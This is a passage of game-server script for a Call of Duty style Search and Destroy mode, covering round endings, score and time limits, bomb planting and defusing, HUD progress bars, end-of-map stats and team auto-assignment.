	if(!level.exist[game["attackers"]] || !level.exist[game["defenders"]])
	{
		iprintln(&"MP_TIMEHASEXPIRED");
		//iprintlnbold("notify gedaan");
		level thread endRound("draw");
		return;
	}

	iprintln(&"MP_TIMEHASEXPIRED");
	level thread endRound(game["defenders"]);
}

checkMatchStart()
{
	oldvalue["teams"] = level.exist["teams"];
	level.exist["teams"] = false;

	// If teams currently exist
	if(level.exist["allies"] && level.exist["axis"])
		level.exist["teams"] = true;

	// If teams previously did not exist and now they do
	if(!oldvalue["teams"] && level.exist["teams"])
	{
		if(!game["matchstarted"])
		{
			iprintln(&"MP_MATCHSTARTING");
			level notify("kill_endround");
			level.roundended = false;
			level thread endRound("reset");
		}
		else
		{
			iprintln(&"MP_MATCHRESUMING");
			level notify("kill_endround");
			level.roundended = false;
			level thread endRound("draw");
		}

		return;
	}
}

resetScores()
{
	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];
		player.pers["score"] = 0;
		player.pers["deaths"] = 0;
	}

	game["alliedscore"] = 0;
	setTeamScore("allies", game["alliedscore"]);
	game["axisscore"] = 0;
	setTeamScore("axis", game["axisscore"]);
}

endRound(roundwinner)
{
	level endon("intermission");
	level endon("kill_endround");

	if(level.roundended)
		return;
	level.roundended = true;

	// End bombzone threads and remove related hud elements and objectives
	level notify("round_ended");
	level notify("update_teamscore_hud");

	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(isdefined(player.progressbackground))
			player.progressbackground destroy();

		if(isdefined(player.progressbar))
			player.progressbar destroy();

		player unlink();
		player enableWeapon();
	}

	objective_delete(0);
	objective_delete(1);

	level thread announceWinner(roundwinner, 2);

	winners = "";
	losers = "";

	if(roundwinner == "allies")
	{
		game["alliedscore"]++;
		setTeamScore("allies", game["alliedscore"]);

		players = getentarray("player", "classname");
		for(i = 0; i < players.size; i++)
		{
			lpGuid = players[i] getGuid();
			if((isdefined(players[i].pers["team"])) && (players[i].pers["team"] == "allies"))
				winners = (winners + ";" + lpGuid + ";" + players[i].name);
			else if((isdefined(players[i].pers["team"])) && (players[i].pers["team"] == "axis"))
				losers = (losers + ";" + lpGuid + ";" + players[i].name);
		}
		logPrint("W;allies" + winners + "\n");
		logPrint("L;axis" + losers + "\n");
	}
	else if(roundwinner == "axis")
	{
		game["axisscore"]++;
		setTeamScore("axis", game["axisscore"]);

		players = getentarray("player", "classname");
		for(i = 0; i < players.size; i++)
		{
			lpGuid = players[i] getGuid();
			if((isdefined(players[i].pers["team"])) && (players[i].pers["team"] == "axis"))
				winners = (winners + ";" + lpGuid + ";" + players[i].name);
			else if((isdefined(players[i].pers["team"])) && (players[i].pers["team"] == "allies"))
				losers = (losers + ";" + lpGuid + ";" + players[i].name);
		}
		logPrint("W;axis" + winners + "\n");
		logPrint("L;allies" + losers + "\n");
	}

	wait 7;

	if(game["matchstarted"])
	{
		checkScoreLimit();
		game["roundsplayed"]++;
		checkRoundLimit();
	}

	if(!game["matchstarted"] && roundwinner == "reset")
	{
		game["matchstarted"] = true;
		thread resetScores();
		game["roundsplayed"] = 0;
	}

	game["timepassed"] = game["timepassed"] + ((getTime() - level.starttime) / 1000) / 60.0;

	checkTimeLimit();

	if(level.mapended)
		return;
	level.mapended = true;

	// for all living players store their weapons
	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(isdefined(player.pers["team"]) && player.pers["team"] != "spectator" && player.sessionstate == "playing")
		{
			weapon1 = player getWeaponSlotWeapon("primary");
			weapon2 = player getWeaponSlotWeapon("primaryb");
			current = player getCurrentWeapon();

			// A new weapon has been selected
			if(isdefined(player.oldweapon))
			{
				player.pers["weapon1"] = player.pers["weapon"];
				player.pers["weapon2"] = "none";
				player.pers["spawnweapon"] = player.pers["weapon1"];
			} // No new weapons selected
			else
			{
				if(!maps\mp\gametypes\_weapons::isMainWeapon(weapon1) && !maps\mp\gametypes\_weapons::isMainWeapon(weapon2))
				{
					player.pers["weapon1"] = player.pers["weapon"];
					player.pers["weapon2"] = "none";
				}
				else if(maps\mp\gametypes\_weapons::isMainWeapon(weapon1) && !maps\mp\gametypes\_weapons::isMainWeapon(weapon2))
				{
					player.pers["weapon1"] = weapon1;
					player.pers["weapon2"] = "none";
				}
				else if(!maps\mp\gametypes\_weapons::isMainWeapon(weapon1) && maps\mp\gametypes\_weapons::isMainWeapon(weapon2))
				{
					player.pers["weapon1"] = weapon2;
					player.pers["weapon2"] = "none";
				}
				else
				{
					assert(maps\mp\gametypes\_weapons::isMainWeapon(weapon1) && maps\mp\gametypes\_weapons::isMainWeapon(weapon2));

					if(current == weapon2)
					{
						player.pers["weapon1"] = weapon2;
						player.pers["weapon2"] = weapon1;
					}
					else
					{
						player.pers["weapon1"] = weapon1;
						player.pers["weapon2"] = weapon2;
					}
				}

				player.pers["spawnweapon"] = player.pers["weapon1"];
			}
		}
	}

	level notify("restarting");

	map_restart(true);
}

endMap()
{
	//level countstatsscore();
	//level countstatshead();
	//level countstatsbash();

	//level dostatmenu();
	wait 3;

	level thread DiscoEnd();

	players = getentarray("player", "classname");
	for(i=0;i<players.size;i++)
	{
		players[i] detachall();
		players[i] setModel("xmodel/prop_bear_detail_sitting");
		players[i] disableweapon();
		players[i] setClientCvar("cg_thirdperson", "1");
	}
	level thread ShowplayerStats();

	level thread ShowplayerScore();

	level thread ShowplayerBash();


	level thread ShowplayerHead();


	wait 10;

	if(isDefined(level.head2Text))
	level.head2Text destroy();
	if(isDefined(level.bestheadText))
	level.bestheadText destroy();
	if(isDefined(level.headText))
	level.headText destroy();
	if(isDefined(level.bash2Text))
	level.bash2Text destroy();
	if(isDefined(level.bestbashText))
	level.bestbashText destroy();
	if(isDefined(level.bashText))
	level.bashText destroy();
	if(isDefined(level.score2Text))
	level.score2Text destroy();
	if(isDefined(level.scoreText))
	level.scoreText destroy();
	if(isDefined(level.score1Text))
	level.score1Text destroy();
	if(isDefined(level.statText))
	level.statText destroy();
	
	maps\mp\gametypes\_mapvote::Initialize();

	wait 2;

	game["state"] = "intermission";
	level notify("intermission");

	if(isdefined(level.bombmodel))
		level.bombmodel stopLoopSound();

	if(game["alliedscore"] == game["axisscore"])
		text = &"MP_THE_GAME_IS_A_TIE";
	else if(game["alliedscore"] > game["axisscore"])
		text = &"MP_ALLIES_WIN";
	else
		text = &"MP_AXIS_WIN";

	players = getentarray("player", "classname");
	highscore = undefined;
	tied = undefined;
	playername = undefined;
	name = undefined;
	guid = undefined;

	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(isdefined(player.pers["team"]) && player.pers["team"] == "spectator")
			continue;

		if(!isdefined(highscore))
		{
			highscore = player.score;
			playername = player;
			name = player.name;
			guid = player getGuid();
			continue;
		}

		if(player.score == highscore)
			tied = true;
		else if(player.score > highscore)
		{
			tied = false;
			highscore = player.score;
			playername = player;
			name = player.name;
			guid = player getGuid();
		}
	}

	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		player closeMenu();
		player closeInGameMenu();

		if(isdefined(tied) && tied == true)
			player setClientCvar("cg_objectiveText", &"MP_THE_GAME_IS_A_TIE");
		else if(isdefined(playername))
			player setClientCvar("cg_objectiveText", &"MP_WINS", playername);
		if(isdefined(players[i].pers["login"])) 
		players[i] maps\mp\gametypes\log::saveacc();
		player spawnIntermission();
	}

	// set everyone's rank on xenon
	if(level.xenon)
	{
		players = getentarray("player", "classname");
		highscore = undefined;

		for(i = 0; i < players.size; i++)
		{
			player = players[i];

			if(!isdefined(player.score))
				continue;

			if(!isdefined(highscore) || player.score > highscore)
				highscore = player.score;
		}

		for(i = 0; i < players.size; i++)
		{
			player = players[i];

			if(!isdefined(player.score))
				continue;

			if(highscore <= 0)
				rank = 0;
			else
			{
				rank = int(player.score * 10 / highscore);
				if(rank < 0)
					rank = 0;
			}

			if(player.pers["team"] == "allies")
				setplayerteamrank(player, 0, rank);
			else if(player.pers["team"] == "axis")
				setplayerteamrank(player, 1, rank);
			else if(player.pers["team"] == "spectator")
				setplayerteamrank(player, 2, rank);
		}
		sendranks();
	}

	wait 10;
	exitLevel(false);
}

checkTimeLimit()
{
	if(level.timelimit <= 0)
		return;

	if(game["timepassed"] < level.timelimit)
		return;

	if(level.mapended)
		return;
	level.mapended = true;

	if(!level.splitscreen)
		iprintln(&"MP_TIME_LIMIT_REACHED");

	level thread endMap();
}

checkScoreLimit()
{
	if(level.scorelimit <= 0)
		return;

	if(game["alliedscore"] < level.scorelimit && game["axisscore"] < level.scorelimit)
		return;

	if(level.mapended)
		return;
	level.mapended = true;

	if(!level.splitscreen)
		iprintln(&"MP_SCORE_LIMIT_REACHED");

	level thread endMap();
}

checkRoundLimit()
{
	if(level.roundlimit <= 0)
		return;

	if(game["roundsplayed"] < level.roundlimit)
		return;

	if(level.mapended)
		return;
	level.mapended = true;

	if(!level.splitscreen)
		iprintln(&"MP_ROUND_LIMIT_REACHED");

	level thread endMap();
}

updateGametypeCvars()
{
	for(;;)
	{
		timelimit = getCvarFloat("scr_sd_timelimit");
		if(level.timelimit != timelimit)
		{
			if(timelimit > 1440)
			{
				timelimit = 1440;
				setCvar("scr_sd_timelimit", "1440");
			}

			level.timelimit = timelimit;
			setCvar("ui_sd_timelimit", level.timelimit);
		}

		scorelimit = getCvarInt("scr_sd_scorelimit");
		if(level.scorelimit != scorelimit)
		{
			level.scorelimit = scorelimit;
			setCvar("ui_sd_scorelimit", level.scorelimit);

			if(game["matchstarted"])
				checkScoreLimit();
		}

		roundlimit = getCvarInt("scr_sd_roundlimit");
		if(level.roundlimit != roundlimit)
		{
			level.roundlimit = roundlimit;
			setCvar("ui_sd_roundlimit", level.roundlimit);

			if(game["matchstarted"])
				checkRoundLimit();
		}

		wait 1;
	}
}

updateTeamStatus()
{
	wait 0;	// Required for Callback_PlayerDisconnect to complete before updateTeamStatus can execute

	resettimeout();

	oldvalue["allies"] = level.exist["allies"];
	oldvalue["axis"] = level.exist["axis"];
	level.exist["allies"] = 0;
	level.exist["axis"] = 0;

	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(isdefined(player.pers["team"]) && player.pers["team"] != "spectator" && player.sessionstate == "playing")
			level.exist[player.pers["team"]]++;
	}

	if(level.exist["allies"])
		level.didexist["allies"] = true;
	if(level.exist["axis"])
		level.didexist["axis"] = true;

	if(level.roundended)
		return;

	// if both allies and axis were alive and now they are both dead in the same instance
	if(oldvalue["allies"] && !level.exist["allies"] && oldvalue["axis"] && !level.exist["axis"])
	{
		if(level.bombplanted)
		{
			// if allies planted the bomb, allies win
			if(level.planting_team == "allies")
			{
				iprintln(&"MP_ALLIEDMISSIONACCOMPLISHED");
				level thread endRound("allies");
				return;
			}
			else // axis planted the bomb, axis win
			{
				assert(game["attackers"] == "axis");
				iprintln(&"MP_AXISMISSIONACCOMPLISHED");
				level thread endRound("axis");
				return;
			}
		}

		// if there is no bomb planted the round is a draw
		iprintln(&"MP_ROUNDDRAW");
		level thread endRound("draw");
		return;
	}

	// if allies were alive and now they are not
	if(oldvalue["allies"] && !level.exist["allies"])
	{
		// if allies planted the bomb, continue the round
		if(level.bombplanted && level.planting_team == "allies")
			return;

		iprintln(&"MP_ALLIESHAVEBEENELIMINATED");
		level thread playSoundOnPlayers("mp_announcer_allieselim");
		level thread endRound("axis");
		return;
	}

	// if axis were alive and now they are not
	if(oldvalue["axis"] && !level.exist["axis"])
	{
		// if axis planted the bomb, continue the round
		if(level.bombplanted && level.planting_team == "axis")
			return;

		iprintln(&"MP_AXISHAVEBEENELIMINATED");
		level thread playSoundOnPlayers("mp_announcer_axiselim");
		level thread endRound("allies");
		return;
	}
}

bombzones()
{
	maperrors = [];

	if(level.splitscreen)
		level.barsize = 152;
	else
		level.barsize = 192;

	level.planttime = 5;		// seconds to plant a bomb
	level.defusetime = 10;		// seconds to defuse a bomb

	wait .2;

	bombzones = getentarray("bombzone", "targetname");
	array = [];

	if(level.bombmode == 0)
	{
		for(i = 0; i < bombzones.size; i++)
		{
			bombzone = bombzones[i];

			if(isdefined(bombzone.script_bombmode_original) && isdefined(bombzone.script_label))
				array[array.size] = bombzone;
		}

		if(array.size == 2)
		{
			bombzone0 = array[0];
			bombzone1 = array[1];
			bombzoneA = undefined;
			bombzoneB = undefined;

			if(bombzone0.script_label == "A" || bombzone0.script_label == "a")
		 	{
		 		bombzoneA = bombzone0;
		 		bombzoneB = bombzone1;
		 	}
		 	else if(bombzone0.script_label == "B" || bombzone0.script_label == "b")
		 	{
		 		bombzoneA = bombzone1;
		 		bombzoneB = bombzone0;
		 	}
		 	else
		 		maperrors[maperrors.size] = "^1Bombmode original: Bombzone found with an invalid \"script_label\", must be \"A\" or \"B\"";

	 		objective_add(0, "current", bombzoneA.origin, "objectiveA");
	 		objective_add(1, "current", bombzoneB.origin, "objectiveB");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzoneA.origin, "0", "allies", "objpoint_A");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzoneB.origin, "1", "allies", "objpoint_B");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzoneA.origin, "0", "axis", "objpoint_A");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzoneB.origin, "1", "axis", "objpoint_B");

	 		bombzoneA thread bombzone_think(bombzoneB);
			bombzoneB thread bombzone_think(bombzoneA);
		}
		else if(array.size < 2)
			maperrors[maperrors.size] = "^1Bombmode original: Less than 2 bombzones found with \"script_bombmode_original\" \"1\"";
		else if(array.size > 2)
			maperrors[maperrors.size] = "^1Bombmode original: More than 2 bombzones found with \"script_bombmode_original\" \"1\"";
	}
	else if(level.bombmode == 1)
	{
		for(i = 0; i < bombzones.size; i++)
		{
			bombzone = bombzones[i];

			if(isdefined(bombzone.script_bombmode_single))
				array[array.size] = bombzone;
		}

		if(array.size == 1)
		{
	 		objective_add(0, "current", array[0].origin, "objective");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(array[0].origin, "single", "allies", "objpoint_star");
			thread maps\mp\gametypes\_objpoints::addTeamObjpoint(array[0].origin, "single", "axis", "objpoint_star");

	 		array[0] thread bombzone_think();
		}
		else if(array.size < 1)
			maperrors[maperrors.size] = "^1Bombmode single: Less than 1 bombzone found with \"script_bombmode_single\" \"1\"";
		else if(array.size > 1)
			maperrors[maperrors.size] = "^1Bombmode single: More than 1 bombzone found with \"script_bombmode_single\" \"1\"";
	}
	else if(level.bombmode == 2)
	{
		for(i = 0; i < bombzones.size; i++)
		{
			bombzone = bombzones[i];

			if(isdefined(bombzone.script_bombmode_dual))
		 		array[array.size] = bombzone;
		}

		if(array.size == 2)
		{
	 		bombzone0 = array[0];
	 		bombzone1 = array[1];

	 		objective_add(0, "current", bombzone0.origin, "objective");
	 		objective_add(1, "current", bombzone1.origin, "objective");

	 		if(isdefined(bombzone0.script_team) && isdefined(bombzone1.script_team))
	 		{
	 			if((bombzone0.script_team == "allies" && bombzone1.script_team == "axis") || (bombzone0.script_team == "axis" || bombzone1.script_team == "allies"))
	 			{
	 				objective_team(0, bombzone0.script_team);
	 				objective_team(1, bombzone1.script_team);

					if(bombzone0.script_team == "allies")
					{
						thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzone0.origin, "0", "allies", "objpoint_star");
						thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzone1.origin, "1", "axis", "objpoint_star");
					}
					else
					{
						thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzone0.origin, "0", "axis", "objpoint_star");
						thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombzone1.origin, "1", "allies", "objpoint_star");
					}
	 			}
	 			else
	 				maperrors[maperrors.size] = "^1Bombmode dual: One or more bombzones missing \"script_team\" \"allies\" or \"axis\"";
	 		}

	 		bombzone0 thread bombzone_think(bombzone1);
	 		bombzone1 thread bombzone_think(bombzone0);
		}
		else if(array.size < 2)
			maperrors[maperrors.size] = "^1Bombmode dual: Less than 2 bombzones found with \"script_bombmode_dual\" \"1\"";
		else if(array.size > 2)
			maperrors[maperrors.size] = "^1Bombmode dual: More than 2 bombzones found with \"script_bombmode_dual\" \"1\"";
	}
	else
		println("^6Unknown bomb mode");

	bombtriggers = getentarray("bombtrigger", "targetname");
	if(bombtriggers.size < 1)
		maperrors[maperrors.size] = "^1No entities found with \"targetname\" \"bombtrigger\"";
	else if(bombtriggers.size > 1)
		maperrors[maperrors.size] = "^1More than 1 entity found with \"targetname\" \"bombtrigger\"";

	if(maperrors.size)
	{
		println("^1------------ Map Errors ------------");
		for(i = 0; i < maperrors.size; i++)
			println(maperrors[i]);
		println("^1------------------------------------");

		return;
	}

	bombtrigger = getent("bombtrigger", "targetname");
	bombtrigger maps\mp\_utility::triggerOff();

	// Kill unused bombzones and associated script_exploders

	accepted = [];
	for(i = 0; i < array.size; i++)
	{
		if(isdefined(array[i].script_noteworthy))
			accepted[accepted.size] = array[i].script_noteworthy;
	}

	remove = [];
	bombzones = getentarray("bombzone", "targetname");
	for(i = 0; i < bombzones.size; i++)
	{
		bombzone = bombzones[i];

		if(isdefined(bombzone.script_noteworthy))
		{
			addtolist = true;
			for(j = 0; j < accepted.size; j++)
			{
				if(bombzone.script_noteworthy == accepted[j])
				{
					addtolist = false;
					break;
				}
			}

			if(addtolist)
				remove[remove.size] = bombzone.script_noteworthy;
		}
	}

	ents = getentarray();
	for(i = 0; i < ents.size; i++)
	{
		ent = ents[i];

		if(isdefined(ent.script_exploder))
		{
			kill = false;
			for(j = 0; j < remove.size; j++)
			{
				if(ent.script_exploder == int(remove[j]))
				{
					kill = true;
					break;
				}
			}

			if(kill)
				ent delete();
		}
	}
}

bombzone_think(bombzone_other)
{
	level endon("round_ended");

	level.barincrement = (level.barsize / (20.0 * level.planttime));

	self setteamfortrigger(game["attackers"]);
	self setHintString(&"PLATFORM_HOLD_TO_PLANT_EXPLOSIVES");

	for(;;)
	{
		self waittill("trigger", other);

		if(isdefined(bombzone_other) && isdefined(bombzone_other.planting))
			continue;

		if(level.bombmode == 2 && isdefined(self.script_team))
			team = self.script_team;
		else
			team = game["attackers"];

		if(isPlayer(other) && (other.pers["team"] == team) && other isOnGround())
		{
			while(other istouching(self) && isAlive(other) && other useButtonPressed())
			{
				other notify("kill_check_bombzone");

				self.planting = true;
				other clientclaimtrigger(self);
				other clientclaimtrigger(bombzone_other);

				if(!isdefined(other.progressbackground))
				{
					other.progressbackground = newClientHudElem(other);
					other.progressbackground.x = 0;

					if(level.splitscreen)
						other.progressbackground.y = 70;
					else
						other.progressbackground.y = 104;

					other.progressbackground.alignX = "center";
					other.progressbackground.alignY = "middle";
					other.progressbackground.horzAlign = "center_safearea";
					other.progressbackground.vertAlign = "center_safearea";
					other.progressbackground.alpha = 0.5;
				}
				other.progressbackground setShader("black", (level.barsize + 4), 12);

				if(!isdefined(other.progressbar))
				{
					other.progressbar = newClientHudElem(other);
					other.progressbar.x = int(level.barsize / (-2.0));

					if(level.splitscreen)
						other.progressbar.y = 70;
					else
						other.progressbar.y = 104;

					other.progressbar.alignX = "left";
					other.progressbar.alignY = "middle";
					other.progressbar.horzAlign = "center_safearea";
					other.progressbar.vertAlign = "center_safearea";
				}
				other.progressbar setShader("white", 0, 8);
				other.progressbar scaleOverTime(level.planttime, level.barsize, 8);

				other playsound("MP_bomb_plant");
				other linkTo(self);
				other disableWeapon();

				self.progresstime = 0;
				while(isAlive(other) && other useButtonPressed() && (self.progresstime < level.planttime))
				{
					self.progresstime += 0.05;
					wait 0.05;
				}

				// TODO: script error if player is disconnected/kicked here
				other clientreleasetrigger(self);
				other clientreleasetrigger(bombzone_other);

				if(self.progresstime >= level.planttime)
				{
					other.progressbackground destroy();
					other.progressbar destroy();
					other enableWeapon();

					if(isdefined(self.target))
					{
						exploder = getent(self.target, "targetname");

						if(isdefined(exploder) && isdefined(exploder.script_exploder))
							level.bombexploder = exploder.script_exploder;
					}

					bombzones = getentarray("bombzone", "targetname");
					for(i = 0; i < bombzones.size; i++)
						bombzones[i] delete();

					if(level.bombmode == 1)
					{
						objective_delete(0);
						thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("allies");
						thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("axis");
					}
					else
					{
						objective_delete(0);
						objective_delete(1);
						thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("allies");
						thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("axis");
					}

					plant = other maps\mp\_utility::getPlant();

					level.bombmodel = spawn("script_model", plant.origin);
					level.bombmodel.angles = plant.angles;
					level.bombmodel setmodel("xmodel/mp_tntbomb");
					level.bombmodel playSound("Explo_plant_no_tick");
					level.bombglow = spawn("script_model", plant.origin);
					level.bombglow.angles = plant.angles;
					level.bombglow setmodel("xmodel/mp_tntbomb_obj");

					bombtrigger = getent("bombtrigger", "targetname");
					bombtrigger.origin = level.bombmodel.origin;

					objective_add(0, "current", bombtrigger.origin, "objective");
					thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("allies");
					thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("axis");
					thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombtrigger.origin, "bomb", "allies", "objpoint_star");
					thread maps\mp\gametypes\_objpoints::addTeamObjpoint(bombtrigger.origin, "bomb", "axis", "objpoint_star");

					level.bombplanted = true;
					level.bombtimerstart = gettime();
					level.planting_team = other.pers["team"];

					lpselfnum = other getEntityNumber();
					lpselfguid = other getGuid();
					logPrint("A;" + lpselfguid + ";" + lpselfnum + ";" + other.pers["team"] + ";" + other.name + ";" + "bomb_plant" + "\n");

					iprintln(&"MP_EXPLOSIVESPLANTED");
					level thread soundPlanted(other);

					bombtrigger thread bomb_think();
					bombtrigger thread bomb_countdown();

					level notify("bomb_planted");
					level.clock destroy();

					return;	//TEMP, script should stop after the wait .05
				}
				else
				{
					if(isdefined(other.progressbackground))
						other.progressbackground destroy();

					if(isdefined(other.progressbar))
						other.progressbar destroy();

					other unlink();
					other enableWeapon();
				}

				wait .05;
			}

			self.planting = undefined;
			other thread check_bombzone(self);
		}
	}
}

check_bombzone(trigger)
{
	self notify("kill_check_bombzone");
	self endon("kill_check_bombzone");
	level endon("round_ended");

	while(isdefined(trigger) && !isdefined(trigger.planting) && self istouching(trigger) && isAlive(self))
		wait 0.05;
}

bomb_countdown()
{
	self endon("bomb_defused");
	level endon("intermission");

	thread showBombTimers();
	level.bombmodel playLoopSound("bomb_tick");

	wait level.bombtimer;

	// bomb timer is up
	objective_delete(0);
	thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("allies");
	thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("axis");
	thread deleteBombTimers();

	level.bombexploded = true;
	self notify("bomb_exploded");

	// trigger exploder if it exists
	if(isdefined(level.bombexploder))
		maps\mp\_utility::exploder(level.bombexploder);

	// explode bomb
	origin = self getorigin();
	range = 500;
	maxdamage = 2000;
	mindamage = 1000;

	self delete(); // delete the defuse trigger
	level.bombmodel stopLoopSound();
	level.bombmodel delete();
	level.bombglow delete();

	playfx(level._effect["bombexplosion"], origin);
	radiusDamage(origin, range, maxdamage, mindamage);

	level thread playSoundOnPlayers("mp_announcer_objdest");
	level thread endRound(level.planting_team);
}

bomb_think()
{
	self endon("bomb_exploded");
	level.barincrement = (level.barsize / (20.0 * level.defusetime));

	self setteamfortrigger(game["defenders"]);
	self setHintString(&"PLATFORM_HOLD_TO_DEFUSE_EXPLOSIVES");

	for(;;)
	{
		self waittill("trigger", other);

		// check for having been triggered by a valid player
		if(isPlayer(other) && (other.pers["team"] != level.planting_team) && other isOnGround())
		{
			while(isAlive(other) && other useButtonPressed())
			{
				other notify("kill_check_bomb");

				other clientclaimtrigger(self);

				if(!isdefined(other.progressbackground))
				{
					other.progressbackground = newClientHudElem(other);
					other.progressbackground.x = 0;

					if(level.splitscreen)
						other.progressbackground.y = 70;
					else
						other.progressbackground.y = 104;

					other.progressbackground.alignX = "center";
					other.progressbackground.alignY = "middle";
					other.progressbackground.horzAlign= "center_safearea";
					other.progressbackground.vertAlign = "center_safearea";
					other.progressbackground.alpha = 0.5;
				}
				other.progressbackground setShader("black", (level.barsize + 4), 12);

				if(!isdefined(other.progressbar))
				{
					other.progressbar = newClientHudElem(other);
					other.progressbar.x = int(level.barsize / (-2.0));

					if(level.splitscreen)
						other.progressbar.y = 70;
					else
						other.progressbar.y = 104;

					other.progressbar.alignX = "left";
					other.progressbar.alignY = "middle";
					other.progressbar.horzAlign = "center_safearea";
					other.progressbar.vertAlign = "center_safearea";
				}
				other.progressbar setShader("white", 0, 8);
				other.progressbar scaleOverTime(level.defusetime, level.barsize, 8);

				other playsound("MP_bomb_defuse");
				other linkTo(self);
				other disableWeapon();

				self.progresstime = 0;
				while(isAlive(other) && other useButtonPressed() && (self.progresstime < level.defusetime))
				{
					self.progresstime += 0.05;
					wait 0.05;
				}

				other clientreleasetrigger(self);

				if(self.progresstime >= level.defusetime)
				{
					other.progressbackground destroy();
					other.progressbar destroy();

					objective_delete(0);
					thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("allies");
					thread maps\mp\gametypes\_objpoints::removeTeamObjpoints("axis");
					thread deleteBombTimers();

					self notify("bomb_defused");
					level.bombmodel stopLoopSound();
					level.bombglow delete();
					self delete();

					iprintln(&"MP_EXPLOSIVESDEFUSED");
					level thread playSoundOnPlayers("MP_announcer_bomb_defused");

					lpselfnum = other getEntityNumber();
					lpselfguid = other getGuid();
					logPrint("A;" + lpselfguid + ";" + lpselfnum + ";" + other.pers["team"] + ";" + other.name + ";" + "bomb_defuse" + "\n");

					level thread endRound(other.pers["team"]);
					return;	//TEMP, script should stop after the wait .05
				}
				else
				{
					if(isdefined(other.progressbackground))
						other.progressbackground destroy();

					if(isdefined(other.progressbar))
						other.progressbar destroy();

					other unlink();
					other enableWeapon();
				}

				wait .05;
			}

			self.defusing = undefined;
			other thread check_bomb(self);
		}
	}
}

check_bomb(trigger)
{
	self notify("kill_check_bomb");
	self endon("kill_check_bomb");

	while(isdefined(trigger) && !isdefined(trigger.defusing) && self istouching(trigger) && isAlive(self))
		wait 0.05;
}

printJoinedTeam(team)
{
	if(!level.splitscreen)
	{
		if(team == "allies")
			iprintln(&"MP_JOINED_ALLIES", self);
		else if(team == "axis")
			iprintln(&"MP_JOINED_AXIS", self);
	}
}

sayMoveIn()
{
	wait 2;

	alliedsoundalias = game["allies"] + "_move_in";
	axissoundalias = game["axis"] + "_move_in";

	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(player.pers["team"] == "allies")
			player playLocalSound(alliedsoundalias);
		else if(player.pers["team"] == "axis")
			player playLocalSound(axissoundalias);
	}
}

showBombTimers()
{
	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(isdefined(player.pers["team"]) && player.pers["team"] != "spectator" && player.sessionstate == "playing")
			player showPlayerBombTimer();
	}
}

showPlayerBombTimer()
{
	timeleft = (level.bombtimer - (getTime() - level.bombtimerstart) / 1000);

	if(timeleft > 0)
	{
		self.bombtimer = newClientHudElem(self);
		self.bombtimer.x = 6;
		self.bombtimer.y = 76;
		self.bombtimer.horzAlign = "left";
		self.bombtimer.vertAlign = "top";
		self.bombtimer setClock(timeleft, level.bombtimer, "hudStopwatch", 48, 48);
	}
}

deleteBombTimers()
{
	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
		players[i] deletePlayerBombTimer();
}

deletePlayerBombTimer()
{
	if(isdefined(self.bombtimer))
		self.bombtimer destroy();
}

announceWinner(winner, delay)
{
	wait delay;

	// Announce winner
	if(winner == "allies")
		level thread playSoundOnPlayers("MP_announcer_allies_win");
	else if(winner == "axis")
		level thread playSoundOnPlayers("MP_announcer_axis_win");
	else if(winner == "draw")
		level thread playSoundOnPlayers("MP_announcer_round_draw");
}

playSoundOnPlayers(sound, team)
{
	players = getentarray("player", "classname");

	if(level.splitscreen)
	{
		if(isdefined(players[0]))
			players[0] playLocalSound(sound);
	}
	else
	{
		if(isdefined(team))
		{
			for(i = 0; i < players.size; i++)
			{
				if((isdefined(players[i].pers["team"])) && (players[i].pers["team"] == team))
					players[i] playLocalSound(sound);
			}
		}
		else
		{
			for(i = 0; i < players.size; i++)
				players[i] playLocalSound(sound);
		}
	}
}

menuAutoAssign()
{
	numonteam["allies"] = 0;
	numonteam["axis"] = 0;

	players = getentarray("player", "classname");
	for(i = 0; i < players.size; i++)
	{
		player = players[i];

		if(!isdefined(player.pers["team"]) || player.pers["team"] == "spectator" || player == self)
			continue;

		numonteam[player.pers["team"]]++;
	}

	// if teams are equal return the team with the lowest score
	if(numonteam["allies"] == numonteam["axis"])
	{
		if(getTeamScore("allies") == getTeamScore("axis"))
		{
			teams[0] = "allies";
			teams[1] = "axis";
			assignment = teams[randomInt(2)];
		}
		else if(getTeamScore("allies") < getTeamScore("axis"))
			assignment = "allies";
		else
			assignment = "axis";
	}
	else if(numonteam["allies"] < numonteam["axis"])
		assignment = "allies";
	else
		assignment = "axis";

	if(assignment == self.pers["team"] && (self.sessionstate == "playing" || self.sessionstate == "dead"))
	{
	    if(!isdefined(self.pers["weapon"]))
	    {
		    if(self.pers["team"] == "allies")
			    self openMenu(game["menu_weapon_allies"]);
		    else
			    self openMenu(game["menu_weapon_axis"]);
	    }

		return;
	}

	if(assignment != self.pers["team"] && (self.sessionstate == "playing" || self.sessionstate == "dead"))
	{
		self.switching_teams = true;
		self.joining_team = assignment;
		self.leaving_team = self.pers["team"];
		self suicide();
	}

	self.pers["team"] = assignment;
	self.pers["weapon"] = undefined;
	self.pers["weapon1"] = undefined;
	self.pers["weapon2"] = undefined;
